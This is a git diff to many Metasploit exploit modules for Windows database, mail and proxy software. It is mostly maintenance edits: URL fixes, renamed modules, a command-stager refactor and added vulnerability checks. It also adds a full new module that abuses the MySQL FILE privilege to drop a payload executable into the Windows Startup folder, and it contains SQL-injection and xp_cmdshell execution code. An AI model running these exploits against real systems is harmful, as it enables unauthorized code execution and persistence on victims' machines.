a/modules/exploits/windows/mssql/ms02_056_hello.rb b/modules/exploits/windows/mssql/ms02_056_hello.rb index 6982305c0f..91180f3205 100644 --- a/modules/exploits/windows/mssql/ms02_056_hello.rb +++ b/modules/exploits/windows/mssql/ms02_056_hello.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft SQL Server Hello Overflow', + 'Name' => 'MS02-056 Microsoft SQL Server Hello Overflow', 'Description' => %q{ By sending malformed data to TCP port 1433, an unauthenticated remote attacker could overflow a buffer and diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb index 04f05b6131..fa9004658b 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption', + 'Name' => 'MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption', 'Description' => %q{ A heap-based buffer overflow can occur when calling the undocumented "sp_replwritetovarbin" extended stored procedure. This vulnerability affects diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb index 12924e96ff..320da58665 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection', + 'Name' => 'MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection', 'Description' => %q{ A heap-based buffer overflow can occur when calling the undocumented "sp_replwritetovarbin" extended stored procedure. This vulnerability affects @@ -258,7 +258,8 @@ class Metasploit3 < Msf::Exploit::Remote # since we need to have credentials for this vuln, we just login and run a query # to get the version information - if not (version = mssql_query_version) + version = mssql_query_version + unless version return Exploit::CheckCode::Safe end print_status("@@version returned:\n\t" + version) @@ -430,7 +431,7 @@ exec sp_executesql @z| end # convert any bad stuff to char(0xXX) - if ((idx = badchars.index(ch.chr))) + if badchars.index(ch.chr) enc << "'" if in_str enc << "+char(0x%x)" % ch in_str = false diff --git a/modules/exploits/windows/mssql/mssql_linkcrawler.rb b/modules/exploits/windows/mssql/mssql_linkcrawler.rb index 31dfc58a78..a965c71db1 100644 --- a/modules/exploits/windows/mssql/mssql_linkcrawler.rb +++ b/modules/exploits/windows/mssql/mssql_linkcrawler.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Report - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -55,6 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ], ], + 'CmdStagerFlavor' => 'vbs', 'DefaultTarget' => 0 )) @@ -112,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote # Create loot table to store configuration information from crawled database server links linked_server_table = Rex::Ui::Text::Table.new( 'Header' => 'Linked Server Table', - 'Ident' => 1, + 'Indent' => 1, 'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os','link_state'] ) save_loot = "" @@ -299,7 +300,8 @@ class Metasploit3 < Msf::Exploit::Remote # Openquery generator else exec_at = temp.shift - sql = "exec(" + "'"*2**ticks + query_builder_rpc(temp,sql,ticks+1,execute) + "'"*2**ticks +") at [" + exec_at + "]" + quotes = "'"*2**ticks + sql = "exec(#{quotes}#{query_builder_rpc(temp, sql,ticks + 1, execute)}#{quotes}) at [#{exec_at}]" return sql end end diff --git a/modules/exploits/windows/mssql/mssql_payload.rb b/modules/exploits/windows/mssql/mssql_payload.rb index 12d74503a5..063dcf9ece 100644 --- a/modules/exploits/windows/mssql/mssql_payload.rb +++ b/modules/exploits/windows/mssql/mssql_payload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MSSQL - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager #include Msf::Exploit::CmdStagerDebugAsm #include Msf::Exploit::CmdStagerDebugWrite #include Msf::Exploit::CmdStagerTFTP @@ -58,6 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ], ], + 'CmdStagerFlavor' => 'vbs', 'DefaultTarget' => 0, 'DisclosureDate' => 'May 30 2000' )) @@ -67,6 +68,23 @@ class Metasploit3 < Msf::Exploit::Remote ]) end + def check + if (not mssql_login_datastore) + vprint_status("Invalid SQL Server credentials") + return Exploit::CheckCode::Detected + end + + mssql_query("select @@version", true) + if mssql_is_sysadmin + vprint_good "User #{datastore['USERNAME']} is a sysadmin" + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + ensure + disconnect + end + # This is method required for the CmdStager to work... def execute_command(cmd, opts) mssql_xpcmdshell(cmd, datastore['VERBOSE']) diff --git a/modules/exploits/windows/mssql/mssql_payload_sqli.rb b/modules/exploits/windows/mssql/mssql_payload_sqli.rb index 687cf8c45d..963631e449 100644 --- a/modules/exploits/windows/mssql/mssql_payload_sqli.rb +++ b/modules/exploits/windows/mssql/mssql_payload_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MSSQL_SQLI - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -83,6 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ], ], + 'CmdStagerFlavor' => 'vbs', 'DefaultTarget' => 0, 'DisclosureDate' => 'May 30 2000' )) diff --git a/modules/exploits/windows/mysql/mysql_mof.rb b/modules/exploits/windows/mysql/mysql_mof.rb index 8ad1ea5b97..d5f5f5bb83 100644 --- a/modules/exploits/windows/mysql/mysql_mof.rb +++ b/modules/exploits/windows/mysql/mysql_mof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/mysql/mysql_payload.rb b/modules/exploits/windows/mysql/mysql_payload.rb index 6a03777b27..d4ae44de2b 100644 --- a/modules/exploits/windows/mysql/mysql_payload.rb +++ b/modules/exploits/windows/mysql/mysql_payload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,43 +9,44 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MYSQL - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, - 'Name' => 'Oracle MySQL for Microsoft Windows Payload Execution', - 'Description' => %q{ - This module creates and enables a custom UDF (user defined function) on the - target host via the SELECT ... into DUMPFILE method of binary injection. On - default Microsoft Windows installations of MySQL (=< 5.5.9), directory write - permissions not enforced, and the MySQL service runs as LocalSystem. + 'Name' => 'Oracle MySQL for Microsoft Windows Payload Execution', + 'Description' => %q{ + This module creates and enables a custom UDF (user defined function) on the + target host via the SELECT ... into DUMPFILE method of binary injection. On + default Microsoft Windows installations of MySQL (=< 5.5.9), directory write + permissions not enforced, and the MySQL service runs as LocalSystem. - NOTE: This module will leave a payload executable on the target system when the - attack is finished, as well as the UDF DLL, and will define or redefine sys_eval() - and sys_exec() functions. - }, - 'Author' => - [ - 'Bernardo Damele A. G. ', # the lib_mysqludf_sys.dll binaries - 'todb' # this Metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - # Bernardo's work with cmd exec via udf - [ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ], - # Advice from 2005 on securing MySQL on Windows, kind of helpful. - [ 'URL', 'http://dev.mysql.com/tech-resources/articles/securing_mysql_windows.html' ] - ], - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { } ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit) - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Jan 16 2009' # Date of Bernardo's blog post. + NOTE: This module will leave a payload executable on the target system when the + attack is finished, as well as the UDF DLL, and will define or redefine sys_eval() + and sys_exec() functions. + }, + 'Author' => + [ + 'Bernardo Damele A. G. ', # the lib_mysqludf_sys.dll binaries + 'todb' # this Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + # Bernardo's work with cmd exec via udf + [ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ], + # Advice from 2005 on securing MySQL on Windows, kind of helpful. + [ 'URL', 'http://dev.mysql.com/tech-resources/articles/securing_mysql_windows.html' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', { } ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit) + ], + 'CmdStagerFlavor' => 'vbs', + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 16 2009' # Date of Bernardo's blog post. )) register_options( [ diff --git a/modules/exploits/windows/mysql/mysql_start_up.rb b/modules/exploits/windows/mysql/mysql_start_up.rb new file mode 100644 index 0000000000..e3f111db6c --- /dev/null +++ b/modules/exploits/windows/mysql/mysql_start_up.rb @@ -0,0 +1,143 @@ +## +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::MYSQL + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Oracle MySQL for Microsoft Windows FILE Privilege Abuse', + 'Description' => %q{ + This module takes advantage of a file privilege misconfiguration problem + specifically against Windows MySQL servers. This module abuses the FILE + privilege to write a payload to Microsoft's All Users Start Up directory + which will execute every time a user logs in. The default All Users Start + Up directory used by the module is present on Windows 7. + }, + 'Author' => + [ + 'sinn3r', + 'Sean Verity + { + 'DisablePayloadHandler' => 'true' + }, + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2012-5613'], #DISPUTED + ['OSVDB', '88118'], + ['EDB', '23083'], + ['URL', 'http://seclists.org/fulldisclosure/2012/Dec/13'] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'MySQL on Windows', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Dec 01 2012' + )) + + register_options( + [ + OptString.new('USERNAME', [ true, 'The username to authenticate as']), + OptString.new('PASSWORD', [ true, 'The password to authenticate with']), + OptString.new('STARTUP_FOLDER', [ true, 'The All Users Start Up folder', '/programdata/microsoft/windows/start menu/programs/startup/']) + ]) + end + + def check + m = mysql_login(datastore['USERNAME'], datastore['PASSWORD']) + return Exploit::CheckCode::Safe unless m + + return Exploit::CheckCode::Appears if is_windows? + + Exploit::CheckCode::Safe + end + + def peer + "#{rhost}:#{rport}" + end + + def query(q) + rows = [] + + begin + res = mysql_query(q) + return rows unless res + res.each_hash do |row| + rows << row + end + rescue RbMysql::ParseError + return rows + end + + rows + end + + def is_windows? + r = query("SELECT @@version_compile_os;") + r[0]['@@version_compile_os'] =~ /^Win/ ? true : false + end + + def get_drive_letter + r = query("SELECT @@tmpdir;") + drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || '' + + drive + end + + def upload_file(bin, dest) + p = bin.unpack("H*")[0] + query("SELECT 0x#{p} into DUMPFILE '#{dest}'") + end + + def exploit + unless datastore['STARTUP_FOLDER'].start_with?('/') && datastore['STARTUP_FOLDER'].end_with?('/') + fail_with(Failure::BadConfig, "STARTUP_FOLDER should start and end with '/' Ex: /programdata/microsoft/windows/start menu/programs/startup/") + end + + print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'") + begin + m = mysql_login(datastore['USERNAME'], datastore['PASSWORD']) + rescue RbMysql::AccessDeniedError + fail_with(Failure::NoAccess, "#{peer} - Access denied") + end + + fail_with(Failure::NoAccess, "#{peer} - Unable to Login") unless m + + unless is_windows? + fail_with(Failure::NoTarget, "#{peer} - Remote host isn't Windows") + end + + begin + drive = get_drive_letter + rescue RbMysql::ParseError + fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name") + end + + fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name") unless drive + + exe_name = Rex::Text::rand_text_alpha(5) + ".exe" + dest = "#{drive}:#{datastore['STARTUP_FOLDER']}#{exe_name}" + exe = generate_payload_exe + + print_status("#{peer} - Uploading to '#{dest}'") + begin + upload_file(exe, dest) + rescue RbMysql::AccessDeniedError + fail_with(Failure::NotVulnerable, "#{peer} - No permission to write. I blame kc :-)") + end + register_file_for_cleanup("#{dest}") + end + +end diff --git a/modules/exploits/windows/mysql/mysql_yassl_hello.rb b/modules/exploits/windows/mysql/mysql_yassl_hello.rb index 2a56d80ddd..8117dfec8f 100644 --- a/modules/exploits/windows/mysql/mysql_yassl_hello.rb +++ b/modules/exploits/windows/mysql/mysql_yassl_hello.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb index 0d03a237e8..44eb354357 100644 --- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb +++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/nfs/xlink_nfsd.rb b/modules/exploits/windows/nfs/xlink_nfsd.rb index ce07438d13..0811a8ec5c 100644 --- a/modules/exploits/windows/nfs/xlink_nfsd.rb +++ b/modules/exploits/windows/nfs/xlink_nfsd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/nntp/ms05_030_nntp.rb b/modules/exploits/windows/nntp/ms05_030_nntp.rb index 4d3c9a5075..d1e2bd80c7 100644 --- a/modules/exploits/windows/nntp/ms05_030_nntp.rb +++ b/modules/exploits/windows/nntp/ms05_030_nntp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Outlook Express NNTP Response Parsing Buffer Overflow', + 'Name' => 'MS05-030 Microsoft Outlook Express NNTP Response Parsing Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the news reader of Microsoft Outlook Express. @@ -28,6 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb index 8365e94ac2..fd2883bd84 100644 --- a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb +++ b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -77,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote begin print_good("Deleting the VBS payload \"#{@var_vbs_name}.vbs\" ...") - windir = client.fs.file.expand_path("%WINDIR%") + windir = client.sys.config.getenv('WINDIR') client.fs.file.rm("#{windir}\\system32\\" + @var_vbs_name + ".vbs") print_good("Deleting the MOF file \"#{@var_mof_name}.mof\" ...") cmd = "#{windir}\\system32\\attrib.exe -r " + diff --git a/modules/exploits/windows/novell/groupwisemessenger_client.rb b/modules/exploits/windows/novell/groupwisemessenger_client.rb index 706d6de78a..212d81188d 100644 --- a/modules/exploits/windows/novell/groupwisemessenger_client.rb +++ b/modules/exploits/windows/novell/groupwisemessenger_client.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,6 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/novell/netiq_pum_eval.rb b/modules/exploits/windows/novell/netiq_pum_eval.rb index 238b71aef4..27c274da71 100644 --- a/modules/exploits/windows/novell/netiq_pum_eval.rb +++ b/modules/exploits/windows/novell/netiq_pum_eval.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -92,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote win_file = file.gsub("/", "\\\\") if session.type == "meterpreter" begin - windir = session.fs.file.expand_path("%WINDIR%") + windir = session.sys.config.getenv('WINDIR') win_file = "#{windir}\\system32\\#{win_file}" # Meterpreter should do this automatically as part of # fs.file.rm(). Until that has been implemented, remove the diff --git a/modules/exploits/windows/novell/nmap_stor.rb b/modules/exploits/windows/novell/nmap_stor.rb index 9daec6a1bf..36575b89bd 100644 --- a/modules/exploits/windows/novell/nmap_stor.rb +++ b/modules/exploits/windows/novell/nmap_stor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Novell NetMail <= 3.52d NMAP STOR Buffer Overflow', + 'Name' => 'Novell NetMail NMAP STOR Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Novell's Netmail 3.52 NMAP STOR verb. By sending an overly long string, an attacker can overwrite the diff --git a/modules/exploits/windows/novell/zenworks_desktop_agent.rb b/modules/exploits/windows/novell/zenworks_desktop_agent.rb index ed35dfff1c..8899a87ccf 100644 --- a/modules/exploits/windows/novell/zenworks_desktop_agent.rb +++ b/modules/exploits/windows/novell/zenworks_desktop_agent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb index 70fc51ae61..fa8277fb54 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb index 224db859b4..89913f04e5 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb index 62f755ed72..8594b5a0c6 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb index 9b951f8a8f..9c8cbbc949 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb index 5078c34d36..b305977fbb 100644 --- a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb +++ b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/oracle/extjob.rb b/modules/exploits/windows/oracle/extjob.rb index d3d7ad12e5..f79440694c 100644 --- a/modules/exploits/windows/oracle/extjob.rb +++ b/modules/exploits/windows/oracle/extjob.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SMB - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -40,6 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote # This module has been tested on Oracle 10g Release 1 # where the Oracle Job Scheduler runs as SYSTEM on Windows 'Targets' => [['Automatic',{}]], + 'CmdStagerFlavor' => 'vbs', 'Privileged' => true, 'DisclosureDate' => 'Jan 01 2007', 'DefaultTarget' => 0)) @@ -52,9 +53,13 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - print_status("Exploiting through \\\\#{datastore['RHOST']}\\orcljsex#{datastore['SID']} named pipe...") - execute_cmdstager({:linemax => 1500}) - handler + if check == Exploit::CheckCode::Vulnerable + print_status("Exploiting through \\\\#{datastore['RHOST']}\\orcljsex#{datastore['SID']} named pipe...") + execute_cmdstager({:linemax => 1500}) + handler + else + print_error "#{rhost} does not appear to be vulnerable!" + end end def execute_command(cmd, opts) diff --git a/modules/exploits/windows/oracle/osb_ndmp_auth.rb b/modules/exploits/windows/oracle/osb_ndmp_auth.rb index cbaecb5730..bd720f2aee 100644 --- a/modules/exploits/windows/oracle/osb_ndmp_auth.rb +++ b/modules/exploits/windows/oracle/osb_ndmp_auth.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/oracle/tns_arguments.rb b/modules/exploits/windows/oracle/tns_arguments.rb index 15e6217fe1..8d33b8642c 100644 --- a/modules/exploits/windows/oracle/tns_arguments.rb +++ b/modules/exploits/windows/oracle/tns_arguments.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/oracle/tns_auth_sesskey.rb b/modules/exploits/windows/oracle/tns_auth_sesskey.rb index a75969a235..228927ad94 100644 --- a/modules/exploits/windows/oracle/tns_auth_sesskey.rb +++ b/modules/exploits/windows/oracle/tns_auth_sesskey.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/oracle/tns_service_name.rb b/modules/exploits/windows/oracle/tns_service_name.rb index 3eaa4cf412..2539cb0699 100644 --- a/modules/exploits/windows/oracle/tns_service_name.rb +++ b/modules/exploits/windows/oracle/tns_service_name.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/pop3/seattlelab_pass.rb b/modules/exploits/windows/pop3/seattlelab_pass.rb index 83c03e0b3f..2cd1ccf651 100644 --- a/modules/exploits/windows/pop3/seattlelab_pass.rb +++ b/modules/exploits/windows/pop3/seattlelab_pass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/postgres/postgres_payload.rb b/modules/exploits/windows/postgres/postgres_payload.rb index 6635980c29..52c9dcd97b 100644 --- a/modules/exploits/windows/postgres/postgres_payload.rb +++ b/modules/exploits/windows/postgres/postgres_payload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb b/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb index 74fa9fb368..623accfec0 100644 --- a/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb +++ b/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb b/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb index 1a4dee483c..bae54e50bb 100644 --- a/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb +++ b/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'CCProxy <= v6.2 Telnet Proxy Ping Overflow', + 'Name' => 'CCProxy Telnet Proxy Ping Overflow', 'Description' => %q{ This module exploits the YoungZSoft CCProxy <= v6.2 suite Telnet service. The stack is overwritten when sending an overly @@ -58,10 +58,10 @@ class Metasploit3 < Msf::Exploit::Remote def check connect - banner = sock.get_once(-1,3) || '' + banner = sock.get_once || '' disconnect - if (banner =~ /CCProxy Telnet Service Ready/) + if banner.to_s =~ /CCProxy Telnet Service Ready/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/proxy/proxypro_http_get.rb b/modules/exploits/windows/proxy/proxypro_http_get.rb index 668fd9da51..7dc8d3caef 100644 --- a/modules/exploits/windows/proxy/proxypro_http_get.rb +++ b/modules/exploits/windows/proxy/proxypro_http_get.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb index e1d85b055b..25e75addc9 100644 --- a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb +++ b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/scada/abb_wserver_exec.rb b/modules/exploits/windows/scada/abb_wserver_exec.rb index af8ddc5df0..cdb7cdb0d7 100644 --- 